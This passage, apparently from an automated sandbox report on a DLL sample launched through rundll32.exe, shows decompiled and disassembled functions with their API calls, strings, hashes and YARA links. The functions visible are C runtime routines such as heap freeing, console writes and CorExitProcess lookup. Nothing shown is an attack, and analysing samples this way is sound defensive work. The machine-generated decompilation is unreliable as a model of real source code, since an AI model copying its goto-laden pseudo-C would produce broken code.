					E6EFC476F(_t45 + 0xb4, 7);
					E6EFC476F(_t45 + 0xd0, 7);
					E6EFC476F(_t45 + 0xec, 0xc);
					E6EFC476F(_t45 + 0x11c, 0xc);
					E6EFC476F(_t45 + 0x14c, 2);
					E6EFBFEFF( *((intOrPtr*)(_t45 + 0x154)));
					E6EFBFEFF( *((intOrPtr*)(_t45 + 0x158)));
					E6EFBFEFF( *((intOrPtr*)(_t45 + 0x15c)));
					return E6EFBFEFF( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x6efc47ad
0x6efc47b2
0x6efc47bb
0x6efc47c6
0x6efc47d1
0x6efc47dc
0x6efc47ea
0x6efc47f5
0x6efc4800
0x6efc480b
0x6efc4819
0x6efc4827
0x6efc4838
0x6efc4846
0x6efc4854
0x6efc485f
0x6efc486a
0x6efc4875
0x00000000
0x6efc4885
0x6efc488a

APIs

Part of subcall function 6EFC476F: _free.LIBCMT ref: 6EFC4794

_free.LIBCMT ref: 6EFC47F5

Part of subcall function 6EFBFEFF: HeapFree.KERNEL32(00000000,00000000,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?), ref: 6EFBFF15
Part of subcall function 6EFBFEFF: GetLastError.KERNEL32(?,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?,?), ref: 6EFBFF27

_free.LIBCMT ref: 6EFC4800
_free.LIBCMT ref: 6EFC480B
_free.LIBCMT ref: 6EFC485F
_free.LIBCMT ref: 6EFC486A
_free.LIBCMT ref: 6EFC4875
_free.LIBCMT ref: 6EFC4880

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ef2c806dc7946e275d41aea7e72c5aba1546200829dff6b1409bfec46ce686fb
Instruction ID: 5bc972091a0e4553d395e9d088e653760f8c8886f0ea1ba0ab1e4315808af346
Opcode Fuzzy Hash: ef2c806dc7946e275d41aea7e72c5aba1546200829dff6b1409bfec46ce686fb
Instruction Fuzzy Hash: 1211E632540B06BBE920E7F0CC15FCB779D9F81B04FA00C16B299AA151EB36B5454741

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC312B, Relevance: 9.3, APIs: 6, Instructions: 319
fileCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6EFC312B(void* __ebx, void* __edi, void* __esi, void* __eflags, void* _a4, signed int _a8, long _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				char _v23;
				char _v24;
				void _v32;
				signed int _v33;
				long _v40;
				long _v44;
				char _v47;
				void _v48;
				intOrPtr _v52;
				long _v56;
				char _v60;
				intOrPtr _v68;
				char _v72;
				struct _OVERLAPPED* _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				signed int _v92;
				long _v96;
				long _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				long _v112;
				void* _v116;
				char _v120;
				int _v124;
				intOrPtr _v128;
				struct _OVERLAPPED* _v132;
				struct _OVERLAPPED* _v136;
				struct _OVERLAPPED* _v140;
				struct _OVERLAPPED* _v144;
				signed int _t172;
				signed int _t174;
				int _t178;
				intOrPtr _t183;
				intOrPtr _t186;
				void* _t188;
				void* _t190;
				long _t193;
				void _t198;
				long _t202;
				void* _t206;
				intOrPtr _t212;
				signed char* _t213;
				char _t216;
				signed int _t219;
				char* _t220;
				void* _t222;
				long _t228;
				intOrPtr _t229;
				char _t231;
				long _t235;
				struct _OVERLAPPED* _t243;
				signed int _t246;
				intOrPtr _t249;
				signed int _t252;
				signed int _t253;
				signed int _t255;
				struct _OVERLAPPED* _t256;
				intOrPtr _t258;
				void* _t262;
				long _t263;
				signed char _t264;
				signed int _t265;
				void* _t266;
				void* _t268;
				struct _OVERLAPPED* _t269;
				long _t270;
				signed int _t271;
				long _t275;
				signed int _t278;
				long _t279;
				struct _OVERLAPPED* _t280;
				signed int _t282;
				intOrPtr _t284;
				signed int _t286;
				signed int _t289;
				long _t290;
				long _t291;
				signed int _t292;
				intOrPtr _t293;
				signed int _t294;
				void* _t295;
				void* _t296;

				_t172 =  *0x6efe609c; // 0x65dbd48f
				_v8 = _t172 ^ _t294;
				_t174 = _a8;
				_t263 = _a12;
				_t282 = (_t174 & 0x0000003f) * 0x38;
				_t246 = _t174 >> 6;
				_v112 = _t263;
				_v84 = _t246;
				_v80 = _t282;
				_t284 = _a16 + _t263;
				_v116 =  *((intOrPtr*)(_t282 +  *((intOrPtr*)(0x6effe428 + _t246 * 4)) + 0x18));
				_v104 = _t284;
				_t178 = GetConsoleCP();
				_t243 = 0;
				_v124 = _t178;
				E6EFBEA98( &_v72, _t263, 0);
				asm("stosd");
				_t249 =  *((intOrPtr*)(_v68 + 8));
				_v128 = _t249;
				asm("stosd");
				asm("stosd");
				_t275 = _v112;
				_v40 = _t275;
				if(_t275 >= _t284) {
					L52:
					__eflags = _v60 - _t243;
				} else {
					_t286 = _v92;
					while(1) {
						_v47 =  *_t275;
						_v76 = _t243;
						_v44 = 1;
						_t186 =  *((intOrPtr*)(0x6effe428 + _v84 * 4));
						_v52 = _t186;
						if(_t249 != 0xfde9) {
							goto L23;
						}
						_t265 = _v80;
						_t212 = _t186 + 0x2e + _t265;
						_t256 = _t243;
						_v108 = _t212;
						while( *((intOrPtr*)(_t212 + _t256)) != _t243) {
							_t256 =  &(_t256->Internal);
							if(_t256 < 5) {
								continue;
							}
							break;
						}
						_t213 = _v40;
						_t278 = _v104 - _t213;
						_v44 = _t256;
						if(_t256 <= 0) {
							_t258 =  *((char*)(( *_t213 & 0x000000ff) + 0x6efe67f0)) + 1;
							_v52 = _t258;
							__eflags = _t258 - _t278;
							if(_t258 > _t278) {
								__eflags = _t278;
								if(_t278 <= 0) {
									goto L44;
								} else {
									_t290 = _v40;
									do {
										_t266 = _t265 + _t243;
										_t216 =  *((intOrPtr*)(_t243 + _t290));
										_t243 =  &(_t243->Internal);
										 *((char*)(_t266 +  *((intOrPtr*)(0x6effe428 + _v84 * 4)) + 0x2e)) = _t216;
										_t265 = _v80;
										__eflags = _t243 - _t278;
									} while (_t243 < _t278);
									goto L43;
								}
							} else {
								_t279 = _v40;
								__eflags = _t258 - 4;
								_v144 = _t243;
								_t260 =  &_v144;
								_v140 = _t243;
								_v56 = _t279;
								_t219 = (0 | _t258 == 0x00000004) + 1;
								__eflags = _t219;
								_push( &_v144);
								_v44 = _t219;
								_push(_t219);
								_t220 =  &_v56;
								goto L21;
							}
						} else {
							_t228 =  *((char*)(( *(_t265 + _v52 + 0x2e) & 0x000000ff) + 0x6efe67f0)) + 1;
							_v56 = _t228;
							_t229 = _t228 - _t256;
							_v52 = _t229;
							if(_t229 > _t278) {
								__eflags = _t278;
								if(_t278 > 0) {
									_t291 = _v40;
									do {
										_t268 = _t265 + _t243 + _t256;
										_t231 =  *((intOrPtr*)(_t243 + _t291));
										_t243 =  &(_t243->Internal);
										 *((char*)(_t268 +  *((intOrPtr*)(0x6effe428 + _v84 * 4)) + 0x2e)) = _t231;
										_t256 = _v44;
										_t265 = _v80;
										__eflags = _t243 - _t278;
									} while (_t243 < _t278);
									L43:
									_t286 = _v92;
								}
								L44:
								_t289 = _t286 + _t278;
								__eflags = _t289;
								L45:
								__eflags = _v60;
								_v92 = _t289;
							} else {
								_t269 = _t243;
								if(_t256 > 0) {
									_t293 = _v108;
									do {
										 *((char*)(_t294 + _t269 - 0xc)) =  *((intOrPtr*)(_t293 + _t269));
										_t269 =  &(_t269->Internal);
									} while (_t269 < _t256);
									_t229 = _v52;
								}
								_t279 = _v40;
								if(_t229 > 0) {
									E6EFBDD40( &_v16 + _t256, _t279, _v52);
									_t256 = _v44;
									_t295 = _t295 + 0xc;
								}
								if(_t256 > 0) {
									_t270 = _v44;
									_t280 = _t243;
									_t292 = _v80;
									do {
										_t262 = _t292 + _t280;
										_t280 =  &(_t280->Internal);
										 *(_t262 +  *((intOrPtr*)(0x6effe428 + _v84 * 4)) + 0x2e) = _t243;
									} while (_t280 < _t270);
									_t279 = _v40;
								}
								_v136 = _t243;
								_v120 =  &_v16;
								_t260 =  &_v136;
								_v132 = _t243;
								_push( &_v136);
								_t235 = (0 | _v56 == 0x00000004) + 1;
								_v44 = _t235;
								_push(_t235);
								_t220 =  &_v120;
								L21:
								_push(_t220);
								_push( &_v76);
								_t222 = E6EFC4104(_t260);
								_t296 = _t295 + 0x10;
								if(_t222 == 0xffffffff) {
									goto L52;
								} else {
									_t275 = _t279 + _v52 - 1;
									L31:
									_t275 = _t275 + 1;
									_v40 = _t275;
									_t193 = E6EFC27A9(_v124, _t243,  &_v76, _v44,  &_v32, 5, _t243, _t243);
									_t295 = _t296 + 0x20;
									_v56 = _t193;
									if(_t193 == 0) {
										goto L52;
									} else {
										if(WriteFile(_v116,  &_v32, _t193,  &_v100, _t243) == 0) {
											L51:
											_v96 = GetLastError();
											goto L52;
										} else {
											_t286 = _v88 - _v112 + _t275;
											_v92 = _t286;
											if(_v100 < _v56) {
												goto L52;
											} else {
												if(_v47 != 0xa) {
													L38:
													if(_t275 >= _v104) {
														goto L52;
													} else {
														_t249 = _v128;
														continue;
													}
												} else {
													_t198 = 0xd;
													_v48 = _t198;
													if(WriteFile(_v116,  &_v48, 1,  &_v100, _t243) == 0) {
														goto L51;
													} else {
														if(_v100 < 1) {
															goto L52;
														} else {
															_v88 = _v88 + 1;
															_t286 = _t286 + 1;
															_v92 = _t286;
															goto L38;
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L53;
						L23:
						_t252 = _v80;
						_t264 =  *((intOrPtr*)(_t252 + _t186 + 0x2d));
						__eflags = _t264 & 0x00000004;
						if((_t264 & 0x00000004) == 0) {
							_v33 =  *_t275;
							_t188 = E6EFC2E16(_t264);
							_t253 = _v33 & 0x000000ff;
							__eflags =  *((intOrPtr*)(_t188 + _t253 * 2)) - _t243;
							if( *((intOrPtr*)(_t188 + _t253 * 2)) >= _t243) {
								_push(1);
								_push(_t275);
								goto L30;
							} else {
								_t202 = _t275 + 1;
								_v56 = _t202;
								__eflags = _t202 - _v104;
								if(_t202 >= _v104) {
									_t271 = _v84;
									_t255 = _v80;
									 *((char*)(_t255 +  *((intOrPtr*)(0x6effe428 + _t271 * 4)) + 0x2e)) = _v33;
									 *(_t255 +  *((intOrPtr*)(0x6effe428 + _t271 * 4)) + 0x2d) =  *(_t255 +  *((intOrPtr*)(0x6effe428 + _t271 * 4)) + 0x2d) | 0x00000004;
									_t289 = _t286 + 1;
									goto L45;
								} else {
									_t206 = E6EFC0CDA( &_v76, _t275, 2);
									_t296 = _t295 + 0xc;
									__eflags = _t206 - 0xffffffff;
									if(_t206 == 0xffffffff) {
										goto L52;
									} else {
										_t275 = _v56;
										goto L31;
									}
								}
							}
						} else {
							_v24 =  *((intOrPtr*)(_t252 + _t186 + 0x2e));
							_v23 =  *_t275;
							_push(2);
							 *(_t252 + _v52 + 0x2d) = _t264 & 0x000000fb;
							_push( &_v24);
							L30:
							_push( &_v76);
							_t190 = E6EFC0CDA();
							_t296 = _t295 + 0xc;
							__eflags = _t190 - 0xffffffff;
							if(_t190 == 0xffffffff) {
								goto L52;
							} else {
								goto L31;
							}
						}
						goto L53;
					}
				}
				L53:
				if(__eflags != 0) {
					_t183 = _v72;
					_t167 = _t183 + 0x350;
					 *_t167 =  *(_t183 + 0x350) & 0xfffffffd;
					__eflags =  *_t167;
				}
				__eflags = _v8 ^ _t294;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				return E6EFBC65E(_v8 ^ _t294);
			}

0x6efc3136
0x6efc313d
0x6efc3140
0x6efc3145
0x6efc314d
0x6efc3150
0x6efc3154
0x6efc3157
0x6efc3161
0x6efc316b
0x6efc316d
0x6efc3170
0x6efc3173
0x6efc3179
0x6efc317b
0x6efc3182
0x6efc318f
0x6efc3190
0x6efc3193
0x6efc3196
0x6efc3197
0x6efc3198
0x6efc319b
0x6efc31a0
0x6efc34ac
0x6efc34ac
0x6efc31a6
0x6efc31a6
0x6efc31a9
0x6efc31ab
0x6efc31b1
0x6efc31b4
0x6efc31bb
0x6efc31c2
0x6efc31cb
0x00000000
0x00000000
0x6efc31d1
0x6efc31d7
0x6efc31d9
0x6efc31db
0x6efc31de
0x6efc31e3
0x6efc31e7
0x00000000
0x00000000
0x00000000
0x6efc31e7
0x6efc31ec
0x6efc31ef
0x6efc31f1
0x6efc31f6
0x6efc32a8
0x6efc32a9
0x6efc32ac
0x6efc32ae
0x6efc345c
0x6efc345e
0x00000000
0x6efc3460
0x6efc3460
0x6efc3463
0x6efc3466
0x6efc346f
0x6efc3472
0x6efc3473
0x6efc3477
0x6efc347a
0x6efc347a
0x00000000
0x6efc347e
0x6efc32b4
0x6efc32b4
0x6efc32b9
0x6efc32bc
0x6efc32c2
0x6efc32c8
0x6efc32d1
0x6efc32d4
0x6efc32d4
0x6efc32d5
0x6efc32d6
0x6efc32d9
0x6efc32da
0x00000000
0x6efc32da
0x6efc31fc
0x6efc320b
0x6efc320c
0x6efc320f
0x6efc3211
0x6efc3216
0x6efc3427
0x6efc3429
0x6efc342b
0x6efc342e
0x6efc3433
0x6efc343c
0x6efc343f
0x6efc3440
0x6efc3444
0x6efc3447
0x6efc344a
0x6efc344a
0x6efc344e
0x6efc344e
0x6efc344e
0x6efc3451
0x6efc3451
0x6efc3451
0x6efc3453
0x6efc3453
0x6efc3457
0x6efc321c
0x6efc321c
0x6efc3220
0x6efc3222
0x6efc3225
0x6efc3228
0x6efc322c
0x6efc322d
0x6efc3231
0x6efc3231
0x6efc3234
0x6efc3239
0x6efc3245
0x6efc324a
0x6efc324d
0x6efc324d
0x6efc3252
0x6efc3254
0x6efc3257
0x6efc3259
0x6efc325c
0x6efc325f
0x6efc3262
0x6efc326a
0x6efc326e
0x6efc3272
0x6efc3272
0x6efc3278
0x6efc327e
0x6efc3281
0x6efc3289
0x6efc3290
0x6efc3294
0x6efc3295
0x6efc3298
0x6efc3299
0x6efc32dd
0x6efc32dd
0x6efc32e1
0x6efc32e2
0x6efc32e7
0x6efc32ed
0x00000000
0x6efc32f3
0x6efc32f7
0x6efc3380
0x6efc3387
0x6efc338f
0x6efc3397
0x6efc339c
0x6efc339f
0x6efc33a4
0x00000000
0x6efc33aa
0x6efc33bf
0x6efc34a3
0x6efc34a9
0x00000000
0x6efc33c5
0x6efc33ce
0x6efc33d0
0x6efc33d6
0x00000000
0x6efc33dc
0x6efc33e0
0x6efc3416
0x6efc3419
0x00000000
0x6efc341f
0x6efc341f
0x00000000
0x6efc341f
0x6efc33e2
0x6efc33e4
0x6efc33e6
0x6efc33ff
0x00000000
0x6efc3405
0x6efc3409
0x00000000
0x6efc340f
0x6efc340f
0x6efc3412
0x6efc3413
0x00000000
0x6efc3413
0x6efc3409
0x6efc33ff
0x6efc33e0
0x6efc33d6
0x6efc33bf
0x6efc33a4
0x6efc32ed
0x6efc3216
0x00000000
0x6efc32fe
0x6efc32fe
0x6efc3301
0x6efc3305
0x6efc3308
0x6efc332a
0x6efc332d
0x6efc3332
0x6efc3336
0x6efc333a
0x6efc3368
0x6efc336a
0x00000000
0x6efc333c
0x6efc333c
0x6efc333f
0x6efc3342
0x6efc3345
0x6efc3480
0x6efc3483
0x6efc3490
0x6efc349b
0x6efc34a0
0x00000000
0x6efc334b
0x6efc3352
0x6efc3357
0x6efc335a
0x6efc335d
0x00000000
0x6efc3363
0x6efc3363
0x00000000
0x6efc3363
0x6efc335d
0x6efc3345
0x6efc330a
0x6efc3311
0x6efc3316
0x6efc331c
0x6efc331e
0x6efc3325
0x6efc336b
0x6efc336e
0x6efc336f
0x6efc3374
0x6efc3377
0x6efc337a
0x00000000
0x00000000
0x00000000
0x00000000
0x6efc337a
0x00000000
0x6efc3308
0x6efc31a9
0x6efc34af
0x6efc34af
0x6efc34b1
0x6efc34b4
0x6efc34b4
0x6efc34b4
0x6efc34b4
0x6efc34c6
0x6efc34c8
0x6efc34c9
0x6efc34ca
0x6efc34d6

APIs

GetConsoleCP.KERNEL32(00000000,00000001,00000000), ref: 6EFC3173
__fassign.LIBCMT ref: 6EFC3352
__fassign.LIBCMT ref: 6EFC336F
WriteFile.KERNEL32(?,6EFC07E3,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6EFC33B7
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6EFC33F7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6EFC34A3

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: a5ae7d10e81009fe8feeda32315976ddde175218e34c0807eb0feaaf44eada99
Instruction ID: 6223bdb92273f35a65f3c9b44ee380e16eeda747d06691eec1d4a27f654f1b1d
Opcode Fuzzy Hash: a5ae7d10e81009fe8feeda32315976ddde175218e34c0807eb0feaaf44eada99
Instruction Fuzzy Hash: 94D1DF75D0125A9FDF01CFE8C894AEEBBB9FF49714F2441AAE815BB201D731A902CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBD7C6, Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E6EFBD7C6(void* __ecx) {
				void* _t4;
				void* _t11;
				void* _t16;
				long _t25;
				void* _t28;

				if( *0x6efe60c0 != 0xffffffff) {
					_t25 = GetLastError();
					_t11 = E6EFBDAD7(__eflags,  *0x6efe60c0);
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E6EFBDB12(__eflags,  *0x6efe60c0, 0xffffffff);
							_pop(_t16);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_push(1);
								_t28 = E6EFBFE6C(_t16);
								__eflags = _t28;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E6EFBDB12(__eflags,  *0x6efe60c0, 0);
								} else {
									__eflags = E6EFBDB12(__eflags,  *0x6efe60c0, _t28);
									if(__eflags != 0) {
										_t11 = _t28;
										_t28 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E6EFBE93F(_t28);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t25);
					return _t11;
				} else {
					return 0;
				}
			}

0x6efbd7cd
0x6efbd7e0
0x6efbd7e7
0x6efbd7ea
0x6efbd7ed
0x6efbd806
0x6efbd806
0x6efbd7ef
0x6efbd7ef
0x6efbd7f1
0x6efbd7fb
0x6efbd801
0x6efbd802
0x6efbd804
0x6efbd80b
0x6efbd80d
0x6efbd814
0x6efbd818
0x6efbd81a
0x6efbd82e
0x6efbd82e
0x6efbd837
0x6efbd81c
0x6efbd82a
0x6efbd82c
0x6efbd840
0x6efbd842
0x6efbd842
0x00000000
0x00000000
0x00000000
0x6efbd82c
0x6efbd845
0x00000000
0x00000000
0x00000000
0x6efbd804
0x6efbd7f1
0x6efbd84d
0x6efbd857
0x6efbd7cf
0x6efbd7d1
0x6efbd7d1

APIs

GetLastError.KERNEL32(00000001,?,6EFBD578,6EFBCC5A,6EFBC7BB,?,6EFBC9D8,?,00000001,?,?,00000001,?,6EFE4F78,0000000C,6EFBCACC), ref: 6EFBD7D4
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6EFBD7E2
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6EFBD7FB
SetLastError.KERNEL32(00000000,6EFBC9D8,?,00000001,?,?,00000001,?,6EFE4F78,0000000C,6EFBCACC,?,00000001,?), ref: 6EFBD84D

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: e64f22a0811014934e1f36b37eecd642f5dfc21b66409e5bdb4d2dd76154f6f4
Instruction ID: a76a9a2f09229a6e252283990728e54eb25410ecc2b1086f7486475e883de837
Opcode Fuzzy Hash: e64f22a0811014934e1f36b37eecd642f5dfc21b66409e5bdb4d2dd76154f6f4
Instruction Fuzzy Hash: D9018833239A256F965415FB5C65B973A5CDFC277A720023AF210460D0EF739904AF56

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC1D1D, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFC1D1D(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t36;
				intOrPtr* _t38;
				intOrPtr _t39;

				_t38 = _a4;
				if(_t38 != 0) {
					__eflags =  *_t38;
					if( *_t38 != 0) {
						_t14 = E6EFC27A9(_a16, 0, _t38, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t14;
						if(__eflags != 0) {
							_t36 = _a8;
							__eflags = _t14 -  *((intOrPtr*)(_t36 + 0xc));
							if(_t14 <=  *((intOrPtr*)(_t36 + 0xc))) {
								L10:
								_t15 = E6EFC27A9(_a16, 0, _t38, 0xffffffff,  *((intOrPtr*)(_t36 + 8)),  *((intOrPtr*)(_t36 + 0xc)), 0, 0);
								__eflags = _t15;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t36 + 0x10)) = _t15 - 1;
									_t17 = 0;
									__eflags = 0;
								} else {
									E6EFC016E(GetLastError());
									_t17 =  *((intOrPtr*)(E6EFC01A4(__eflags)));
								}
								L13:
								L14:
								return _t17;
							}
							_t17 = E6EFC1DE4(_t36, _t14);
							__eflags = _t17;
							if(_t17 != 0) {
								goto L13;
							}
							goto L10;
						}
						E6EFC016E(GetLastError());
						_t17 =  *((intOrPtr*)(E6EFC01A4(__eflags)));
						goto L14;
					}
					_t39 = _a8;
					__eflags =  *((intOrPtr*)(_t39 + 0xc));
					if( *((intOrPtr*)(_t39 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t39 + 8)))) = 0;
						_t17 = 0;
						 *((intOrPtr*)(_t39 + 0x10)) = 0;
						goto L14;
					}
					_t17 = E6EFC1DE4(_t39, 1);
					__eflags = _t17;
					if(_t17 != 0) {
						goto L14;
					}
					goto L5;
				}
				E6EFC1E0B(_a8);
				return 0;
			}

0x6efc1d23
0x6efc1d28
0x6efc1d3c
0x6efc1d3f
0x6efc1d71
0x6efc1d79
0x6efc1d7b
0x6efc1d94
0x6efc1d97
0x6efc1d9a
0x6efc1da8
0x6efc1db7
0x6efc1dbf
0x6efc1dc1
0x6efc1dda
0x6efc1ddd
0x6efc1ddd
0x6efc1dc3
0x6efc1dca
0x6efc1dd5
0x6efc1dd5
0x6efc1ddf
0x6efc1de0
0x00000000
0x6efc1de0
0x6efc1d9f
0x6efc1da4
0x6efc1da6
0x00000000
0x00000000
0x00000000
0x6efc1da6
0x6efc1d84
0x6efc1d8f
0x00000000
0x6efc1d8f
0x6efc1d41
0x6efc1d44
0x6efc1d47
0x6efc1d5a
0x6efc1d5d
0x6efc1d5f
0x6efc1d61
0x00000000
0x6efc1d61
0x6efc1d4d
0x6efc1d52
0x6efc1d54
0x00000000
0x00000000
0x00000000
0x6efc1d54
0x6efc1d2d
0x00000000

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6EFC1D22

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: 1197f3485e2b14cc965f18f9fea0705be451d48d3a82264c95d0766bafc96819
Instruction ID: 03fca048d3dfd7ced71eae326af7ee18e2f270c7346618cef40e0fc14a65f18f
Opcode Fuzzy Hash: 1197f3485e2b14cc965f18f9fea0705be451d48d3a82264c95d0766bafc96819
Instruction Fuzzy Hash: 7F21C272604107AFE7109EE68CA099BB7BCEF41BAD7304A16F894D7140E731EC658762

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBF49B, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E6EFBF49B(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t14;

				_v8 = _v8 & 0x00000000;
				_t8 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t8, __ecx);
				if(_t8 != 0) {
					_t8 = GetProcAddress(_v8, "CorExitProcess");
					_t14 = _t8;
					if(_t14 != 0) {
						 *0x6efc8124(_a4);
						_t8 =  *_t14();
					}
				}
				if(_v8 != 0) {
					return FreeLibrary(_v8);
				}
				return _t8;
			}

0x6efbf4a1
0x6efbf4a5
0x6efbf4b0
0x6efbf4b8
0x6efbf4c3
0x6efbf4c9
0x6efbf4cd
0x6efbf4d4
0x6efbf4da
0x6efbf4da
0x6efbf4dc
0x6efbf4e1
0x00000000
0x6efbf4e6
0x6efbf4ef

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,6EFBF44D,?,?,6EFBF415,?,00000001,?), ref: 6EFBF4B0
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6EFBF4C3
FreeLibrary.KERNEL32(00000000,?,?,6EFBF44D,?,?,6EFBF415,?,00000001,?), ref: 6EFBF4E6

Strings

CorExitProcess, xrefs: 6EFBF4BB
mscoree.dll, xrefs: 6EFBF4A9

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 983cb1966e3f52dfd8e90e7f32ed0774eb0771c78528c81b523b99ed27b46206
Instruction ID: 96830a48c5101a2a238b9d93df5bf3b5500d1357df16d819c406cd8483e06957
Opcode Fuzzy Hash: 983cb1966e3f52dfd8e90e7f32ed0774eb0771c78528c81b523b99ed27b46206
Instruction Fuzzy Hash: F4F0E236A10659FBCF51AB81CC1DBAF7E78EF40B11F204050F805A6100CB319E00DA81

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC4706, Relevance: 7.5, APIs: 5, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFC4706(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x6efe6790; // 0x6efe67e0
